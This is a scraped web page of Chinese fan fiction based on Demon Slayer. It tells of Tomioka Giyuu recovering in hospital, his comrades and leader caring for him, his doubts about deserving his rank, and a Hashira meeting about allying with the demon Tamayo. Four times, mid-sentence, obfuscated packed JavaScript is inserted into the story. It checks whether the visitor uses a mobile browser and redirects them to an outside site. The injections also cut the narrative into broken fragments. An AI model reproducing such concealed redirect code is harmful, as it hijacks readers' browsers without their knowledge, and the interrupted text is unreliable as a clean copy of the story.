作为仅仅两年就成为水柱的富冈义勇,被人羡慕和尊敬的同时,也被人苛责着。 因为锖兔死了,所以富冈义勇才当上的水柱。 他们看不到富冈义勇的实力,也看不到他为此付出的血泪,更不在乎他身上所受的伤。 “我就说吧,什么水柱,碰上上弦鬼还不是打不过。如果是岩柱对上上弦,说不定连伤都不会受。” 无知者,发出无知的言论。 在这些人的眼里,好像将鬼舞辻无惨捉住晒太阳也只分两步一样——捉住他,然后放到太阳底下。 当然,这些人最后在众人的怒火里,被狠狠地揍了一顿,也被主公狠狠地骂了一顿。 人与鬼的战斗充满着流血与牺牲,没有人可以指责他们。 “富冈一直不和人亲近,倒也挺好的,这些破事也烦不到他。” 富冈义勇很少会和人一起行动,也很少和人交谈。在他成为水柱以后,便有更多人因为他的身份而不敢靠近。 即使是闲言碎语,也要背着他才能说给人听。 “但总是一个人也不好啊,多孤单啊。不过咱们现在等级还低,也帮不上富冈的忙。” “现在鬼杀队里,富冈算是最小的那个了吧?也怪人担心的。” “想啥呢,当然还有更小的,比如之前和富冈出任务的炼狱,他就比富冈小。喂,我说你这幅老父亲一样的口吻是什么意思?大家都把富冈义勇当弟弟,难不成你还想差辈?” “咳咳咳,富冈比我小三岁呢,当孩子看怎么了?” “我看是你想被群殴。” 靠谱的村田一人锤了一拳,让他们安静下来:“吵什么吵,这里是病房,小心护士小姐揍你们。” 打闹的两个人这才安分下来。 “看来不仅是我,还有很多人在关心义勇。” 这句话刚刚响起,房间里面的几个人就齐齐单膝跪在地上。 “主公。” 产屋敷耀哉进到了病房,脸上挂着温柔的笑容,身旁是搀扶着他的天音。 “不用那么拘谨,就把我当作一个普通来探病的人就好。”产屋敷耀哉走得很慢,他身体不好,这些年已经很少出门了。 富冈义勇受伤是因为他的命令,如今昏迷了一个多月还没醒,他实在是没办法心安理得地继续躺着。 村田他们站了起来,倒水的倒水,拿凳子的拿凳子。 他们平时几乎见不到产屋敷耀哉,只在特训前和他见过一面。但仅仅这一面,也足够他们打心底尊敬这位主公。 产屋敷耀哉没有拒绝他们的好意,坐到了病床旁边。 “新名,早希,村田,我记得你们和义勇都是一届的队员,能看到你们这么关心义勇,我真的很开心。”产屋敷耀哉道。 “主公您还记得我们啊。”吉本早希憨憨一笑,不好意思地挠挠头。 产屋敷耀哉记着鬼杀队所有人的过往经历,分辨出这几个人是谁自然不是问题。 产屋敷耀哉轻轻笑笑,看向病床上的富冈义勇:“义勇他现在情况怎么样?” 村田叹了口气:“一直昏迷着,没醒过来。” 他们几个没任务的时候就会过来看他,对富冈义勇的状况也算了解。 “因为他一直在睡,每天都要打吊瓶。”村田抬头看了眼快要见底的药瓶,“啊,要换药了,我去找护士小姐。” 产屋敷耀哉也注意到了,点点头,示意村田快去。 那位妄图把富冈义勇当儿子看待的队员叫远山新名,他犹豫了一下,忍不住开口问:“主公,我之前听说富冈他的刀断了,但这么久了,也没见有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“强迫性动作一般是患者为了缓解焦虑和不安,而强制自己去做的一些行为或举动。受伤了要好好休息,这是正常人的思路。但义勇不会这样做,他首先要保持自己的清醒,之后才会结合自己的身体状况进行后续的各种动作。” 产屋敷耀哉对心理学并不擅长,但他记下了珠世的话。 等义勇能自由行动的时候,让他和珠世好好聊一聊吧。 希望珠世能帮这孩子走出困住他的过去。 在产屋敷耀哉思索的时候,吉本早希也回来了。他和村田正在将垫毛巾,忽然注意到富冈义勇的眼皮颤了颤。 吉本早希拉了拉村田的袖子,睁大着眼,指着富冈义勇。 在所有人的注视下,富冈义勇缓缓睁开了眼。 24. 第 24 章 “醒了!醒了!富冈……”远山新名的话还没说完,就被吉本早希捂住了嘴,“嘘!小声点!你想把富冈再吓晕过去吗?!” 村田起身,倒了杯水,又插上吸管,才小心地放到富冈义勇唇边:“说话之前先喝点水,你已经昏迷一个多月了。” 富冈义勇刚醒过来,视线缓了好一会才恢复正常。听到村田的话,他就着吸管慢慢喝着。 水温刚刚好,温温热热的,让他干涸的嗓子渐渐被湿润。 等喝了小半杯水,他才慢慢开口:“多……谢……” 村田说他昏迷了一个多月,自己醒过来他们就在周围,这期间一定没少照顾他。 真是麻烦他们了…… 吉本早希凑过去,看见富冈义勇眼底那浓浓的疲惫,一时有些忧心。 “富冈,睡了这么久,感觉还好吗?”吉本早希对着他竖起三根手指,“来,这是几,看得清吗?还有一加一等于几?” 村田嘴角微微抽搐,旁边的远山新名直接捶了他脑袋一下:“富冈没伤到脑子,不是傻子!” 富冈义勇的反应有些慢,声音也十分虚弱:“三……二……” 这幅样子,让坐着的产屋敷耀哉忍不住笑了出来,天音的脸上也带了一丝浅浅的笑意。 “主公?”富冈义勇注意到了产屋敷耀哉,想挣扎着起来,被天音眼疾手快地按住。 “不要乱动,你躺着就好。”天音安抚他,“我和耀哉就是来看看你。” 富冈义勇微微点点头,海蓝色的眼睛没有完全睁开,显得整个人很是虚弱和无力:“劳烦……大家……担心了……” 昏迷的这段时间,他偶尔能听到一些模糊的声音,只是太过零碎,他意识昏沉,根本听不清楚。 这次受伤,让不少人为他担心了。 “饿不饿?我去拿点吃的给你?”村田的声音不紧不慢,让富冈义勇听得很清楚。 “想吃……萝卜……鲑鱼……”富冈义勇眨了眨眼,神色难得带了几分稚嫩。 萝卜鲑鱼,是他最爱吃的菜。 他想吃。 “好!就交给我们吧!” “我们这去买鲑鱼!” “主公,我们先去给医生说一下,顺便给富冈做吃的。”三个人向产屋敷耀哉告辞,就活力满满地离开了。 病房一时就安静了下来。 “还要不要喝水?”产屋敷耀哉行动不便,天音就走上前询问。 富冈义勇摇了摇头。 产屋敷耀哉这才开口:“义勇,你现在不用说话,听我说就好。” 富冈义勇乖巧地“嗯”了一下。 “珠世小姐和愈史郎已经被我安排到了安全的地方,你不用再担心他们。” 虽然在富冈义勇昏迷前医生告诉了他这件事,但他昏迷了这么久,还是再说一遍吧。 “珠世小姐和愈史郎将你的踪迹隐藏得很好,尚且没有上弦之三出现的消息,所以义勇,你现在最要紧的事就是好好养伤。” “宽三郎一直在守着你。难得今天被同伴拉出去散心,应该很快就会回来。” “等过几天,近藤大概就会来找你,你的新刀他也会帮你重新锻造。” 富冈义勇老老实实听着,只时不时眨下眼睛。 看着这样的富冈义勇,产屋敷耀哉始终不觉得这孩子有什么心理问题,但他终究不是医者。 他斟酌了一下语句,才继续道:“义勇,我现在需要和你说一件事,要不要去做,决定权在于你。” 富冈义勇轻轻地回了一句:“好……主公……请讲……” “珠世小姐和我说,你的某些行为在心理学上可以判定为强迫性动作,并认为你需要进行专业的心理疏导。珠世小姐的医术很厉害,我无法对她的建议视而不见。”产屋敷耀哉看着富冈义勇:“义勇,如果你想要和珠世小姐聊一聊,我不会阻止你。” 产屋敷耀哉是可以下令直接让富冈义勇去见珠世,但他不想这样做。富冈义勇一直很坚强,也很理智。那就干脆将决定权交给他,如果富冈义勇真的觉得有必要,他会安排两个人的会面。 富冈义勇对心理学更不了解,眼里满是疑惑地看着产屋敷耀哉:“心理……问题?” 产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153522|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋敷耀哉点头:“是的。具体的还需要请教珠世小姐。” 富冈义勇脑袋放空,他完全不觉得自己有什么问题。 他现在这样不是很好吗? 天音开口:“这件事并不着急,你可以慢慢想。” 她看向产屋敷耀哉:“耀哉,我们该回去了。” 产屋敷耀哉知道他出来的时间够久了,是时候回去了。 他缓缓站起来,看着富冈义勇:“义勇,这不是命令,也无关职责。无论什么时候都可以,只要你愿意。” “主公……”富冈义勇忽然叫住他,“珠世……小姐……对您的病……有了解吗?” 产屋敷耀哉的心一下子就软了,唇边含笑,用略带冰凉的手摸了摸他的额头:“多谢义勇关心,但我的病珠世小姐也束手无策。” 与其说是病,不如说是诅咒更加贴切。 产屋敷家族造成的罪孽,需要一代代去弥补。 在富冈义勇昏迷的这段时间,珠世的确找产屋敷耀哉聊过他的病情。她在诊断过后,发现有办法可以缓解他的病,只是需要时间去研制药剂。 但产屋敷耀哉拒绝了她的好意,希望她能全身心地研制能对付鬼舞辻无惨的药。 比起他这脆弱的病体,他更希望给鬼杀队看到黎明的契机。 在他生命走到尽头前,他一定要看到鬼舞辻无惨的覆灭。 等产屋敷耀哉和天音离开,病房就显得更加安静了。 输液管里的液体一滴滴地落下,闹钟的秒针缓缓转动。 在这规律的声音里,困意渐渐涌上来,只是富冈义勇不想去睡。 萝卜鲑鱼…… 他看着天花板,想要集中精神,让自己清醒一点。 但困意就像是轻柔的海浪,缓缓将他包裹,拂去身上的疼痛,想带他前往无光的海底。 不想睡…… 萝卜鲑鱼还没有吃到…… 宽三郎也没有回来…… 富冈义勇的眼睛眨啊眨,终于是抵不过疲惫,缓缓闭上了眼睛。 带着对萝卜鲑鱼的思念,富冈义勇睡着了。 25. 第 25 章 静水无声,亦无形。 富冈义勇觉得自己像是被水包围,温暖而舒适,只是周围黑暗一片,没有一丝光。 “富冈?富冈?”模糊不清的低语从四面八方传来。 身体被摇晃了一下,然后又传来几声呼唤。 好香的味道…… 是……萝卜鲑鱼? 富冈义勇缓缓睁开了眼,逃离那无光的水底。 村田他们三个人的大脸直接映入他的眼帘。 富冈义勇瞬间睁大了眼。 三个人察觉到他们靠得太近,讪讪一笑,纷纷站直了身体。 富冈义勇感觉自己的侧脸被蹭了蹭,他侧头去看,发现是宽三郎。 “义勇……”宽三郎感觉都快哭了,“你终于醒了。” “让你担心了……”富冈义勇动了动脑袋,回蹭了一下宽三郎。 “我们回来见你睡着了,但萝卜鲑鱼不能久放,就把你叫醒了。”村田轻声问着,“还饿吗?要不要吃?” 富冈义勇回答得很快:“要……” 在他那张面无表情的脸上,愣是显露出来一丝急切与渴望,这让三个人不约而同地笑笑。 远山新名将富冈义勇扶起来,吉本早希拿了一个被子垫在他的身后,让他半坐在床上。 富冈义勇想要抬手,才注意到自己的右手上扎着针,左肩因为骨裂,被做了固定,所以左手也几乎动不了。 他一时陷入了沉默。 在被喂饭和自己吃之间,他别无选择。 村田见他右手动了动,就察觉到了他的想法:“你现在不方便,我喂你吃吧。” 富冈义勇抿嘴,不想回答。 他不习惯在别人面前吃东西,出任务的时候情况特殊,他还可以不讲究,但现在……似乎也属于情况特殊…… 吉本早希拽着远山新名就往外走:“我们也去吃饭,村田,富冈就交给你了。” “喂,我不饿啊。” “不,你饿!” 和他们两个人相比,富冈还是更熟悉村田,就把空间留给他们吧,这样富冈也能自然一点。 村田也不拆穿他们,将放在床头的碗端起来,用勺子舀了点汤,又轻轻吹了吹。 富冈义勇心里有些过意不去,眼眸微微垂下:“抱歉……” 他们照顾了他这么久,可他却这样。 “富冈,谁都有些小习惯,这不是你的错,也没人会怪你。”村田笑了笑,将勺子放到他唇边,“来先喝点汤,尝尝好不好喝。” 心中的别扭抵不过对美食的渴望,富冈义勇还是就着勺子喝起来。 萝卜和鲑鱼的味道都融入了汤里,清甜鲜美。 “汤很好喝。”富冈义勇看着村田,语气正经,“这些日子麻烦你们了。” 村田摇摇头:“富冈,你值得被关心。明白吗?” 他用勺子将萝卜弄成小块,喂给富冈义勇:“我们是同一批的新人,彼此互相关心是最正常的一件事。” “你不用觉得这是负担,也不用觉得我们会麻烦。” 富冈义勇嚼着萝卜,摇摇头:“不一样。” 村田又喂给他一块鱼肉:“哪里不一样?大家都是鬼杀队的队员,总不能你想说你现在是水柱,和我们这些普通队员不一样吧?” 还没说完,村田自己就先笑着摇头。 他清楚富冈义勇的性格,他并不是这样的人。 鱼肉很嫩,入口的时候用舌头一碾就碎掉了。 富冈义勇摇摇头,却不知道该如何回答。 他并非鬼杀队的队员,因为他当年并没有通过最终选拔。而村田和他不一样,在最终选拔遇到村田前,他是凭借自己的力量杀了鬼的。 而他不一样,他什么也没有做到,都是锖兔在做。 就连水柱也是,如果锖兔还活着,水柱也一定是他的。 他没有资格,也不值得被关心。 富冈义勇回忆起参加特训时鳞泷老师和他的谈话。 “义勇,你不想去参加特训?” “嗯。我不觉得我有资格加入鬼杀队。” “义勇,这样的想法是不对的。你们的资格是主公亲自认定的。” “可在原本的规定里,我们本该就要和鬼交手,增加实战经验。可我什么都没有做到,害了锖兔,还直接昏迷了七天。” “那你就要什么都不做?留在这里吗?这些天里,你一直在拼命训练,我能教的东西也都教给你了。义勇,你不该困在狭雾山。” “可是鳞泷老师,我真的可以去鬼杀队吗?” “当然可以。特训会为你们安排各种训练,你的实力也会增强。” 当年他来到这里,只是为了增强实力。 他从未认可过自己鬼杀队成员的身份,他也不是水柱,只是暂代这一职。 回忆过往对富冈义勇来说并不是一件轻松的事情,心绪的波动让他不禁轻咳出声。 他知晓周围人对他的关心与爱护,可却不知道该如何回应。 “富冈先生只要把心里想说话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153523|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表达出来就好。”炼狱杏寿郎的话在此刻响起。 富冈义勇看着村田,嘴唇微动:“当年的选拔,我并没有通过……” 村田微愣:“最终选拔?” 富冈义勇点头,“嗯”了一声。 “为什么你会这样觉得?”村田疑惑地看着他,端着碗的手都停在半空。 “因为,我只是睡了七天。”富冈义勇恢复了平时的冷峻。 村田叹了口气,放下碗,伸手揉了揉他的脑袋:“富冈,当年我们所有人,几乎都晕过去了。” “照你这么说,我不也没通过选拔?”村田没好气地反问。 富冈义勇丝毫没有动摇:“不一样。你有和鬼战斗,也有砍下鬼的脑袋。” 村田双手叉腰:“当时下弦鬼出现,可是你帮我拦住的攻击,你这不叫战斗?” 富冈义勇想了想:“可是我并没有杀掉一个鬼,都是锖兔做的。” 村田悟了,富冈还没有放下锖兔的死。 偏偏这件事,他们是最不能提的。 村田觉得富冈义勇这种想法很不对,可要他反驳,又找不到切入点。 他干脆重新拿起碗:“管你有没有资格,现在来好好吃饭!” 富冈义勇不说话了,老老实实接受投喂。 村田边喂富冈义勇吃东西,边在心里琢磨。 富冈这个认知是真的不对,难怪总独来独往的,也不和他们亲近。原来他是把他们当外人了。 如果鬼杀队是个学校的话,他们这些人就是一个班的同学,本来关系应该很好的,结果富冈愣是认为自己是那个没有学籍白白在这里听课的人。 但他就是个普通成员,这个事他解决不了啊。 不对啊,主公对富冈也挺关心啊。主公那么厉害,也没把富冈这个思想掰过来吗? “村田?”富冈义勇疑惑的声音打断了村田的思考。 村田回神,才发现碗已经空了,他拿着个空勺子在碗里舀。 他悻悻一笑,咳嗽了几声掩盖尴尬:“吃完了啊。那富冈要不要再睡会?” “想再坐一会。”富冈义勇还不想睡,虽然清醒的时候身体很不舒服,但他也不想一直睡。 村田点头,端着碗起身:“那我先去洗碗,顺便叫医生过来给你看看。” “好。”富冈义勇再次道谢,“村田,谢谢你们了。” 村田心下一酸,心里默默地叹气,直接离开了病房。 找医生的时候,顺便和她说说富冈这种认知吧。 26. 第 26 章 病房里很安静,宽三郎扇动翅膀,飞到他的胸口,打量着富冈义勇的脸。 “义勇,你看上去瘦了。”宽三郎确信地说。 本就清瘦的人,现在看上去更瘦了。 富冈义勇低头,看向宽三郎:“我会好好吃饭的。” 瘦了的话,那就多吃点,会长回来的。不过他昏迷了这么久,身体感觉都要睡僵硬了,想起来走一走。 富冈义勇试着动了动左手,但由于左肩被固定着,他只能将左手从身侧放到肚子上。 他不禁叹了口气。 主公说近藤先生最近会来找他,并帮他重新锻造刀。只是他把刀弄断了,也不知道近藤先生会不会生气。 富冈义勇侧头,望了望窗外。 已经是快晚上了,也不知道今晚会不会有鬼出来伤人。 病房门被推开,医生走了进来。 她脸上带着温和的笑意,慢慢走进来:“村田他们出任务去了,听他说你现在醒着,我过来给你检查一下身体。” 富冈义勇点头:“谢谢,有劳您了。” 医生走到病床边,先帮富冈义勇拔了针。只要人清醒了,就不用再输液了。 她小心撕下纸胶带,将输液管整理好,然后动作熟练地将滞留针拔了下来。 医生一手拿着输液管,一手拿着止血棉帮富冈义勇按着手背。见状,宽三郎飞过去,叼着输液管,将它挂到了架子上。 医生夸了一句宽三郎,用空着的手用衣服口袋里拿出纸胶带,将止血棉贴了上去。 “好了,这个等一会再去掉。手背上的淤青等晚点拿热毛巾敷一敷,过一段时间就会好起来的。”医生看向富冈义勇,说要检查一下他身上的伤口恢复得怎么样。 富冈义勇点头,在医生的帮助下脱掉了衣服,又一一将绷带解开。 他身上的伤遍布整个上半身,脱下来衣服几乎没有裸露着的皮肤,全部都是绷带。 白皙的皮肤上,布满了斑驳的伤疤。 “现在伤口还觉得疼吗?”医生问。 富冈义勇摇摇头:“如果不碰的话,就不会疼。” 医生懂了,那就是还在疼。毕竟他躺着的时候总有伤口会被碰到 “那还需要再养养。这些外伤不用再上药了,但还有一些口服药你要再吃几天。”医生道。 因为伤口基本都已经愈合,绷带也不用再缠了。她直接帮富冈义勇穿好衣服:“左边肩膀呢?现在会痛吗?” 富冈义勇老实回答:“偶尔还有些刺痛感。” 医生点点头:“那就拍个片子看看吧。” 富冈义勇的左肩之前骨裂有些严重,打了石膏固定,现在一个多月过去,按理说应该恢复得差不多了,如果还会痛的话,还是要再拍个片子看看恢复情况。 医生继续说:“你现在长期没有活动,想要正常行动还需要进行复健,一会我让护士推个轮椅过来。” 富冈义勇没有拒绝,乖巧地点头。 “那我先去准备,你再休息一会,护士一会就过来。”说完,医生就离开了病房。 宽三郎飞到富冈义勇身上,看着他手背上的青紫十分心疼。 富冈义勇抬起右手,握紧手指又松开,发现有些使不上力气。 复健吗? 不知道要做些什么。 “富冈先生,我来带你去做检查。”护士走了进来,将轮椅推到病床边。 富冈义勇用手掀开被子,想要下床。 护士搀扶着他的右臂,帮着他减轻负担。 因为长期没有活动,富冈义勇的四肢都有些用不上力,双脚刚刚碰到地面,就有些发软,让他直直地向前倒。 护士连忙扶住他,让他缓缓坐到轮椅上。 富冈义勇微微喘息了几下,这种感觉让他心里多了几分厌烦。 “麻烦你了。”等呼吸恢复平静后,富冈义勇朝护士道谢。 护士笑笑,拿出一条毯子披在富冈义勇身上。现在已经是晚上了,要小心感冒才行。 她推着富冈义勇去了检查室,拍好了片子后又把他送回病房。 “如果没有意外的话,富冈先生明天就可以进行复健了。”护士很替富冈义勇开心,因为这代表富冈义勇马上就可以痊愈了。 富冈义勇点头,问道:“我都需要做什么?” “复健会有专人负责,富冈先生不必担心,到时候听他们的指导去做就可以了。”护士替他盖好被子。 “我知道了,谢谢。” 见富冈义勇一如既往的客气,护士忍不住摇头,难得严肃地看着他:“对我们不必这么客气的,富冈先生。治疗室的大家还是很喜欢你的。” 富冈义勇微微侧头:“为什么?” “因为富冈先生很听医嘱,还不会捣乱,一点都不像其他人那么难管。”护士笑笑,“是个很乖的小孩哦。” 护士比富冈义勇大个几岁,见他每次都沉默着拖着病体来治疗室,说不心疼真的是假的。 虽然他说不多,但一直很礼貌。冷静而又理智,也不会做出让人哭笑不得的动作,让人很放心呢。 富冈义勇眨了眨眼:“我已经不是小孩了。” 护士才不管,理直气壮地说:“我说是就是。” 她看到他手上的止血棉,掀开看到已经不流血了,就顺手撕了下来。 “好了,富冈先生如果困的话,就可以直接睡了。等明天早上我再来告诉你结果。”护士将他的手塞进被子里,又替他掖了掖被角。在出去之前,还关掉了房间里面的灯 环境变得昏暗,富冈义勇也有些困了,眼皮开始发沉,眼睛没眨几下,就睡着了。 宽三郎继续守着他,一人一鸟都开始了休息。 又是一个无梦的夜晚。 医生看了富冈义勇的片子,见他的肩膀愈合得差不多了。不过如果还会痛的话,还是要减少活动才行。 不过复健确实可以做起来了。 有了医生的允许,富冈义勇也开始了复健。 两个小护士被派了过来,领着他开始活动身体。 关节和骨骼的放松,反应力和身体灵活性的恢复。 中间算不上多轻松,僵硬的身体和用不上力的四肢让复健的过程充满着汗水与痛苦。 富冈义勇全都忍住了,也没喊过一声痛。 不到一周的时间,他就恢复到了受伤前的状态。 “富冈先生很厉害呢。” “一些队员在做恢复训练的时候经常会喊会叫的。” 在两位护士的欢送中,富冈义勇顺利出了治疗室。 而痊愈没几天的他,收到了召开柱合会议的信息。 又要开会吗? 想到那些涉及管理的事情,富冈义勇不免觉得有些头疼,但都答应了主公要承担对应的责任,那该做的事情还是要做。 富冈义勇来到了产屋敷耀哉的住处,见这里多了一个人,是他没见过的女性。 带着蝴蝶的发饰,穿着蝴蝶样子的羽织,脸上的笑意很温柔。 他站在一旁,发现悲鸣屿行冥和这位新人有些熟悉,在她聊着天。 女生注意到富冈义勇,笑眯眯地打招呼:“是水柱富冈先生吗?” 富冈义勇点头示意:“叫我富冈便好。” 宇髄天元走过去,上下打量了一番:“看上去恢复得不错,就是这脸色还是不太好。” 悲鸣屿行冥感受着富冈义勇的呼吸和心跳:“富冈,你或许还需要休息一段时间。” 女生主动自我介绍:“富冈先生好,我是蝴蝶香奈惠,使用花之呼吸。之前听说富冈先生一直在养伤,很高兴能看到你痊愈。” 是新的柱吗? 富冈义勇微微颔首:“多谢关心,我的身体已经没有大碍了。” 宇髄天元双手叉腰,脸上是华丽的笑容:“我们柱又多了一名队员,未来一定能杀更多的恶鬼。” 灿烂的笑容,闪亮的宝石,一如既往的华丽。 悲鸣屿行冥看着大家和平相处的样子,不禁留下眼泪。 产屋敷耀哉很快就来了,四个人纷纷单膝跪下,尊敬地听他讲话。 他首先宣布了蝴蝶香奈惠是新晋的花柱,并进行了任命仪式。在柱合会议结束后,她的任命书也会第一时间公布。 在举行完仪式后,产屋敷耀哉让大家跟着他进来屋子。 四个人跪坐在产屋敷耀哉对面,尊敬地听他讲话。 “接下来,我要和大家说一件事。”产屋敷耀哉的语气不变,“目前鬼杀队正在和名为珠世的鬼合作。” 富冈义勇和宇髄天元因为之前的经历,对这件事都没什么不满。 而蝴蝶香奈惠的内心善良,虽然家人被恶鬼杀害,但还是希望人和鬼能友好相处。在她看来,鬼也是人类变的。人分善恶,鬼也一样的。 他们三个人都对产屋敷耀哉的决定没有意见,但悲鸣屿行冥却并没有同意。 “主公,我并不认为鬼值得信任。”悲鸣屿行冥语气坚定,“与鬼合作更是将鬼杀队置于危险的境地。” 宇髄天元在旁边帮主公说话:“悲鸣屿,我见过这位珠世,她和别的鬼确实不一样。富冈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153524|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能从上弦鬼手下活着逃出来,也多亏了她。” 悲鸣屿行冥一顿,他之前只知道富冈义勇遭遇上弦鬼生命垂危,是宇髄天元带人救回来的他,没想到中间还涉及到这些。 作为当事人,富冈义勇只能保持沉默。 “珠世小姐在鬼杀队成立初期,就有过合作。她和鬼杀队的目的一致,都是为了消灭鬼舞辻无惨。” “只不过不是每任主公都对鬼抱有信任,就像行冥你的想法一样,会认为鬼都是不可信的。” “但行冥,我很确信珠世小姐不会对鬼杀队不利。除了我们共同的目标,还有一点是她已经摆脱了鬼舞辻的诅咒,是仅需要一点血液便可以保证生存。而她所获取的血液,也是从需要钱的人手里买来的。” 产屋敷耀哉的语气缓缓,很耐心地给大家解释:“鬼杀队所要杀的,是会吃人的恶鬼,这一点永不会变。只是珠世小姐并非会吃人的恶鬼。” 他看向悲鸣屿行冥:“行冥,不知道我这样解释,你是否愿意接受?” 悲鸣屿行冥双手合十,一时陷入了沉默:“我尊重主公的意见。只是我认为需要将珠世严加看管,以防她有不轨之心。” 产屋敷耀哉摇了摇头:“用人不疑,疑人不用。我相信珠世小姐,自然不会做出这等失礼的行为。” 他想了想,还是提起了一些旧事:“在五大呼吸法里,岩风雷炎的招式均以攻击为主,而水之呼吸最为柔和,攻守兼备。除此之外,水之呼吸的第五式——干天的慈雨,也是所有呼吸法里唯一一个考虑鬼被杀时痛苦程度的招式。” “你们知道这是为什么吗?”产屋敷耀哉看向大家。 三个人面面相觑,纷纷看向微微低着头的富冈义勇。 产屋敷耀哉继续道:“大家都知道在鬼杀队存在千年的时间,水柱从未空缺过。而在历任水柱的手书里,第五式也从未荒废不用过。” 除富冈义勇以外,三个人都有些惊讶。 干天的慈雨,是只有在鬼主动求死时才会使用的招式。 如果每一任水柱都使用过这招,这说明一直有鬼会主动寻求死亡。 “大家,我希望你们不要被心中的仇恨遮住眼睛。人也好,鬼也好。守护良善,消灭奸恶,这是鬼杀队一直执行的理念。” 产屋敷耀哉看向四个人,疾病的伤痕已经蔓延到他的整个额头,青紫异常:“那么大家还有什么意见吗?” 悲鸣屿行冥不再反对,沉默着转动手中的念珠。 善与恶吗? 天真的小孩子会随口讲着谎言,邪恶的鬼或许也存在着善良吧。主公看事情一向真知灼见,那便相信主公吧。 见大家都不再反对,产屋敷耀哉继续下一个话题:“珠世是一名医生,想要找到打败鬼舞辻的办法,她需要十二鬼月的血液来进行研究。” “为了增加鬼杀队的实力,以及为珠世提供实验材料,我想要将最终选拔从五年一次改为两年一次。不知大家意下如何?” 富冈义勇思考,最终选拔要举办的话,特训也要跟着一起。他这个暂代的水柱,是不是可以不去? 宇髄天元摸着下巴分析:“我倒是没什么意见。但现在有了四位柱,而特训的时间只有一个月,排除掉最开始的理论课,均分开的话,每个人最多有七天时间,这样真的能让新人有什么进步吗?” 悲鸣屿行冥也赞同道:“我的训练方式即使减弱,很多队员也都需要十天以上才能做到。” 蝴蝶香奈惠想了想自己的特长,思考到时候自己要负责什么内容。 产屋敷耀哉提议:“特训的时间可以照旧,大家可以将各自的方法告诉新人,让新人自行去练习。为了避免有人偷懒,在一年后可以进行考核。如果不合格的人,就要继续参加下一年的特训。” 宇髄天元点头:“我觉得可以。新人大都是年轻气盛的小孩,要是知道自己要和下一届的新人一起训练,肯定会不好意思而努力练习的。” 其他人也没有意见。 而留意到富冈义勇神色的产屋敷耀哉心领神会,立马转移话题:“既然如此,那就这样安排下去吧。在三个月后,今年的最终选拔就会召开,到时候特训的内容,还要靠你们四位一起商量了。” 正想说自己不参与特训的富冈义勇愣住,嘴唇已经张开的他,只好继续沉默。 其他三个人也都没有意见。 在一致同意里,这一次的柱合会议圆满结束。 “义勇,你留一下,我有话和你说。” 本想等大家出去趁机说自己不参与特训的富冈义勇再次默然。 27.第 27 章 产屋敷耀哉让富冈义勇留下来,就是为了特训的事。他直接开门见山:“不想去特训教人吗?” 富冈义勇低垂着眼眸,没去看产屋敷耀哉:“我只是暂代水柱一职,和其他柱相比,我没有教导人的资格。” 产屋敷耀哉就知道会这样,他语重心长地道:“但这也是柱要承担的责任之一。训练新人,让他们在和鬼对抗的时候有自保的能力,是特训的目的。” “义勇,我不想用责任一词束缚你,却也不想你总是游离在大家之外。” “你能感受到大家都很关心你,对吗?” 富冈义勇点头,不管是村田还是几位柱,他能感受到大家对他的照顾。 “你值得被关心,大家也不需要你回馈什么。人与人之间的互相关怀,是不需要想那么多的。”产屋敷耀哉能明白富冈义勇内心的矛盾,也能明白他自认没有资格的想法。 只是能明白这些,却不代表他真的能将富冈义勇从封闭的黑暗中拉出来。 不止产屋敷耀哉,很多人都很想帮富冈义勇,比如村田他们、治疗室的医生和护士,但他们都因为种种原因而无法走近富冈义勇。 有富冈义勇主动的疏离,也有大家不知道该和他如何相处的小心。 产屋敷耀哉作为领导者,他可以直接下令,也可以像现在这样和他聊聊天。但富冈义勇不会把他当作朋友,对他是尊敬大于亲近。 而村田他们和富冈义勇虽是同届,但碍于锖兔,他们很多话都说不了。 治疗室的医生在看到珠世给的医嘱时,也向产屋敷耀哉提出了她的建议。在她看来,富冈义勇是个很乖的孩子,但正因为太乖了,所以他们这些人反而看不透他的心。 产屋敷耀哉有很强的洞察力和共情能力,但对于富冈义勇这种情况,他也感到有些手足无措。 “义勇,特训会让人和很多人接触,你会排斥吗?”产屋敷耀哉温和地问。 富冈义勇想了想,老实回答:“不习惯。但如果是主公的命令,我会去做。” 就像产屋敷耀哉刚刚说的那样,训练新人是柱应该承担的责任,那他即使再不习惯,也会去做。 